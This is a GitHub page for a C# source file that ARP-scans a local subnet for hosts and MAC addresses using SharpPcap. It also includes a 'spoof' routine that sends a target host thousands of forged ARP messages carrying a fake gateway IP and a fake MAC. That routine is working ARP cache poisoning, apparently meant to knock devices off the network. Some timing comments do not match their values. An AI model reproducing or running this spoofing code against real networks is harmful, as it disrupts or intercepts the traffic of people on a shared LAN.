-
Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathArpScanner.cs
More file actions
170 lines (134 loc) · 4.66 KB
/
ArpScanner.cs
File metadata and controls
170 lines (134 loc) · 4.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
using System;
using SharpPcap;
using SharpPcap.LibPcap;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using System.Net;
using System.Net.NetworkInformation;
using System.Collections.ObjectModel;
using System.Collections;
namespace WindowsFormsApplication1
{
class ArpScanner
{
static public string deviceAddr = "";
static public int deviceIndex = 0;
static public bool scanRunning = false;
static public Hashtable threads = new Hashtable();
static public int scanDelay = 1200000; // 1.2 sec
static public int maxRange = 64; // Default to 0-64 range
public static LibPcapLiveDeviceList getDeviceList()
{
// Retrieve the device list
var devices = LibPcapLiveDeviceList.Instance;
// If no devices were found print an error
if (devices.Count < 1)
{
throw new System.ArgumentException("No devices found");
}
return devices;
}
static public void spoof(string host)
{
LibPcapLiveDevice device = getDevice();
IPAddress ip = IPAddress.Parse(host);
// Create a new ARP resolver
ARP arp = new ARP(device);
arp.Timeout = new System.TimeSpan(scanDelay * 2); // 100ms
// Preparar ip y mac fake, solo para spoofing
IPAddress local_ip;
IPAddress.TryParse("192.168.1.1", out local_ip);
PhysicalAddress mac;
mac = PhysicalAddress.Parse("11-22-33-44-55-66");
// Enviar ARP
for (int i = 0; i < 10000; i++)
{
try
{
arp.Resolve(ip, local_ip, mac);
}
catch (Exception e)
{
MessageBox.Show(ip + " stopped responding: " + e.Message);
return;
}
System.Threading.Thread.Sleep(5000); // 5 sec
}
return;
}
public string scanHost(string host)
{
// Parse target IP addr
LibPcapLiveDevice device = getDevice();
IPAddress targetIP = null;
bool ok = IPAddress.TryParse(host, out targetIP);
if (!ok)
{
Console.WriteLine("Invalid IP.");
return "fail";
}
// Create a new ARP resolver
ARP arp = new ARP(device);
arp.Timeout = new System.TimeSpan(scanDelay); // 100ms
// Enviar ARP
var resolvedMacAddress = arp.Resolve(targetIP);
if (resolvedMacAddress == null)
{
return "fail";
}
else
{
string fmac = formatMac(resolvedMacAddress);
Console.WriteLine(targetIP + " is at: " + fmac);
return fmac;
}
}
public void scanNetwork(MainAppWindow form)
{
scanRunning = true;
for (int i = 1; i < maxRange; i++)
{
// Build up IP and start scanning
string ip;
if (deviceAddr.Length == 0)
ip = "192.168.1.";
else
ip = Regex.Replace(deviceAddr, @"\d+$", "");
ip += i;
string results = scanHost(ip);
if (results != "fail")
form.updateList(ip, results);
if (i % (maxRange / 10) == 0)
form.updateProgress();
}
MessageBox.Show("Scan finished!", "info", MessageBoxButtons.OK, MessageBoxIcon.Information);
scanRunning = false;
}
private static string formatMac(System.Net.NetworkInformation.PhysicalAddress resolvedMacAddress)
{
string m = resolvedMacAddress.ToString();
MatchCollection split = Regex.Matches(m, @"\w{2}");
string mac = "";
foreach (Match item in split)
{
mac += item.Value + ":";
}
return mac.Remove(mac.Length - 1);
}
private static LibPcapLiveDevice getDevice()
{
LibPcapLiveDevice device;
if (deviceIndex == 0)
device = getFirstDevice();
else
device = getDeviceList()[deviceIndex];
return device;
}
private static LibPcapLiveDevice getFirstDevice()
{
var devices = getDeviceList();
LibPcapLiveDevice device = devices[0];
return device;
}
}
}